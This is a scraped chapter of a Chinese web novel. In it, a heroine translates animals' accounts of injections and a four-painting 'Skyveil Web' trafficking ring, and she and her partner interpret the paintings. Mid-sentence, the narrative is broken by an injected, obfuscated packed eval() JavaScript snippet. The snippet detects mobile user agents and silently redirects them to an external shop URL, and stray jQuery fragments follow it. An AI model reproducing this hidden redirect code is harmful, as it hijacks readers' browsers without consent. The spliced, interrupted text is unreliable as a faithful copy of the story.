文趣网 > 其他小说 > 谁家黑心莲还带翻译啊 > 43. 天幕之网
    头顶的灯光不再是实验室刺眼的白炽,暖融融的。

    熊八率先开口:“我和熊三包括其他几个死去的同伴,我们原先一直生活在山里,有一天我贪玩,回去得晚了些,看见睡觉的地方下面放了一块肉,我高兴去吃肉,结果笼子掉下来,我就被抓了。”

    它看了一眼旁边的熊三:“我被送到一个很大的房间,里面有很多笼子,每个笼子里都关着不同的动物,然后我看见熊三它们也在这里。

    后来有人来给我们打针,打完我就睡着了,醒来的时候耳朵里嗡嗡响,听得见一些以前听不见的声音。”

    它一边说,苗萤一边复述,听得老周一愣一愣的。

    靳槐序看了他一眼:“老周,你有什么问题就快问。”

    老周回过神,拍了拍脸,对着面前的熊八:“啥声音啊?”

    问完他又觉得自己这行为有点傻,熊八听了苗萤的翻译后,又叽里咕噜地说了几句。

    “它说类似敲玻璃的声音。”苗萤顿了顿:“从那以后,它好像能听懂我们讲话了。”

    老周往后退了半步,他像想到什么,从包里翻出一沓文件,蹲下来将纸平铺在浣熊面前,然后试探性问道:“这些动物你在那个房间看到过吗?”

    苗萤扫了一眼文件,上面打印着不同动物的身份信息,抬头写着一行字:动物行为异常案例。

    熊八从左到右扫过一眼,然后看了眼熊三,指着左边那份说:“这猫是不是之前关在你旁边那只?”

    熊三往左边走近,仔细瞧了瞧,然后脸色浮现出兴奋。

    “还真是!它胆子挺小的,我还老喜欢逗它。”

    熊三回头望着老周,眼神里一副期待:“它现在在哪呀?”

    这次不用苗萤翻译,老周都凭借它们的动作神态猜到了大半。

    他低头,眼中闪过悲伤:“这只小猫打针后身体出现严重排异反应,自杀跳楼了。”

    旁边的橘猫喵了一声,音调拖长凄凉,似乎在为其哀悼。

    熊三不可置信地看着文件上的照片,眼睛慢慢湿润了,熊八见状,伸出爪子为它理了理毛。

    靳槐序走到它们跟前,拿起中间一页纸,竖在它们仨面前,语气严肃了几分。

    “这只狗曾经大半夜跑到公墓刨坟,拾回一根断指,吓到了路人,后来调查发现墓地安装了一种微型发声器,上面还有狗的领养日期……”

    男人停了一下,又说道:“你们除了打针,周博士还对你们做了什么?”

    三只小家伙互相看了一眼,最后熊三举了个爪子:“我被送往酒吧的时候,酒吧的人教我弹钢琴,我不愿意,他就拿了一个嗡嗡响的东西对着我耳朵按,按了几次之后,我就听话了。”

    靳槐序听后眼前一亮,摸出手机将发声器的照片调出。

    “是这个吗?”

    熊三看了一眼屏幕,点头如捣蒜:“对!就是这个玩意!东西不大!听得我心烦!隔老远都能听到!”

    橘猫侧躺下来,挠了挠腿:“虽然本喵是为了有吃有住才被宠物医院钻了空子,平白无故挨了一针,但是本喵也见过这个小黑块。”

    苗萤蹲下来,挠了挠橘猫下巴,指尖在它下颌那圈软肉上轻轻打转。橘猫被挠得舒服,脑袋往她掌心里越陷越深,然后接着说道:“那个女护士每次都会拿着这个东西站在窗子边,她只要一启动,不管本喵是在睡觉还是在追蝴蝶玩,都会被搅得浑身难受,不得不出现在她面前。”

    “出现之后呢?”苗萤追问。

    “她就会带我去一个房间,那房间还挺漂亮,我记得…玄关总挂了一幅画让本喵印象深刻。”

    苗萤愣了一下,“什么样子的画?”

    橘猫想了想:“有扇窗户,窗户外面有张网。”

    “网?”苗萤和靳槐序异口同声。

    “网上还有很多小动物呢。”橘猫说,“本喵当时还想,这画的是啥呀,怎么看怎么奇怪,只是后来女护士拿小黑块一按,本喵就动不了了,她就把本喵抱走了。”

    靳槐序把橘猫的话复述给老周听,老周连忙用手机打开宠物医院官网,在一众公开的医院照片里捕捉到了那副画。

    “副院长郑莉办公室就有!”老周抬头,将手机对向橘猫,“你看到的是这幅吗?”

    橘猫看了看,爪子往屏幕点了一下,“对,就是这个女护士。”

    苗萤想到那天在宠物医院发生的事,连忙转头问熊八:“之前王森带你去医院,给你诊治的是谁?”

    熊八瞧了一眼橘猫面前的手机,慢慢伸出小爪子:“就是她…而且……”

    熊八目光落到照片里的墙画上,“这幅画我在关押我们的房间也见过,但是好像有点不一样。

    “那副画的网是向内收拢的,就像一只正在合拢的手。”

    熊三在它说话间隙也凑过来看,“诶?熊八,你被偷走的那晚,我在码头临时安置的地方也见到墙上挂了一副,但那副不是外放,也不是收拢……”

    它试着想了想:“网的线条是流动的,像一条河。”

    这时,一直没吭声的珍珠忽然从苗萤肩膀跳下来,盯着老周手机目不转睛。

    “苗萤,我有点害怕。”

    苗萤以为它被其他动物描述的遭遇感染了,于是蹲下来,捧起它安抚:“都过去了,现在大家不会受到伤害了。”

    她察觉到珍珠在颤抖,一时有些纳闷:“珍珠你冷吗?”

    “不…苗萤…我只是在想……”

    珍珠一向语速流利,眼下欲言又止,不禁引发苗萤注意。

    “怎么了?”

    “我是陆与柠从法国高价拍回来的……”

    “我知道啊。”

    “那个拍卖中心…也挂了一副类似网的画。”珍珠说,“可是我不记得自己有没有挨过针,我就记得很多鸟在一个漂亮的繁育基地,专门供达官贵人挑选。

    苗萤耐着不安的心问道:“你看到的那副画又是什么样子?”

    “网的末端像花朵一样绽放,每个交叉点上都有一个发光的节点,节点里嵌着一双双会发光的眼睛。”

    苗萤翻译

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947064|212094||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着动物的话,老周听得目瞪口呆,靳槐序推了他一下:“有笔吗?”

    老周缓过劲,从包里摸出一支笔递给他,靳槐序走到架子前抽出几张废纸,依照动物们的复述,将四张网大致绘制了下来。

    珍珠飞到他肩头,瞧了一眼:“靳先生您画的真好!”

    靳槐序偏头看它,“珍珠,还有要补充的吗?”

    珍珠看着纸面上的网想了一下,然后缓缓吐出一串单词。

    “S-K-YV-E-I-LW-E-B”

    靳槐序听后在脑子里迅速组合了一下。

    “天幕之网。”

    “这是画框底下标记的花体。”珍珠说。

    苗萤走到靳槐序身边,看着那四幅形状不同的画,忽然说道:“阿序,你觉不觉得把这四张图联系起来就像一个…收网的过程?”

    靳槐序点了点头,然后把废纸在矮柜上铺平,四幅网的草图并排展开。

    “我先说说我的想法。”

    他指着第一张,窗户外面放着一张网,网上分布着不少动物:“这张画出现在宠物医院,按照橘猫的经历,我猜想这应该预示着最初动物被抓的形态。”

    他的手指移到第二张,“熊八被抓后关押的地方,网的形状从扩散变为收拢,如果宠物医院是前端筛选点,那关押动物的实验室就是第二环节。

    靳槐序又点了点第三张,“熊三在码头看的那张像河一样的网应该预示着运输环节,实验成功的动物会分送到各地进行交易。”

    “至于第四幅……”

    他目光落到如花绽放的终网上,“这个时期,动物已经受过针剂影响,打开了某种感知渠道,成了天幕之网的一部分。”

    珍珠听后摇摇晃晃,“难道我也打过针吗?可我完全没有印象啊。”

    熊八也有些不解,“先生,照您的分析,我和熊三不是应该最先被送往宠物医院吗?为什么我们一开始就被送进实验室了?”

    靳槐序似乎早有预料,不急不慢地解释道:“因为你们是国家保护动物,贸然出现在宠物医院会引人注意。”

    “所以我想第一阶段的动物应该都是一些市面上很常见的猫狗,它们会先在医院进行一轮初筛,体检合格的才会被送往实验室。”

    “你们的初筛应该是在实验室完成的。”靳槐序想了想,“你们应该不止打了一针吧?”

    熊八摇了摇尾巴,“我刚进去屁股就挨了一针,昏睡了一天,后面每隔几天就会埃一针。”

    它想起一只柴犬躺在手术台上奋力挣扎,却耐不过针剂副作用抽搐而亡,浑身起了鸡皮疙瘩。

    苗萤感受到它的害怕,伸出双手抱起它,“熊八,我们会抓到那些人的。”

    女孩温柔的声音将它从噩梦里唤醒,它贴着女孩胸脯,小爪子攥成拳头,声音坚定:“小姐说的对!熊八什么都不怕!”

    另一边,珍珠还眼巴巴盯着靳槐序要他给个说法。

    靳槐序垂眸,声音忽然低了几度:“珍珠你失忆可能是因为…受了那针的副作用。”